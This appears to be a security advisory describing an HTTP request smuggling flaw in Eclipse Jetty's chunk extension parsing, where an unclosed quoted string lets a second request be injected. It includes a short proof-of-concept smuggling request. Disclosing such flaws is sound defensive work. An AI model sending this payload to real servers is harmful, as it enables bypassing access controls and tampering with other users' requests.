Description
In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks" techniques outlined here:<br />

<br />
* https://w4ke.info/2025/10/29/funky-chunks-2.html<br />
<br />
<br />
Jetty terminates chunk extension parsing at \r\n inside quoted strings instead of treating this as an error.<br />
<br />
<br />
POST / HTTP/1.1<br />
Host: localhost<br />
Transfer-Encoding: chunked<br />
<br />
1;ext="val<br />
X<br />
0<br />
<br />
GET /smuggled HTTP/1.1<br />
...<br />
<br />
<br />
<br />
<br />
<br />
Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.
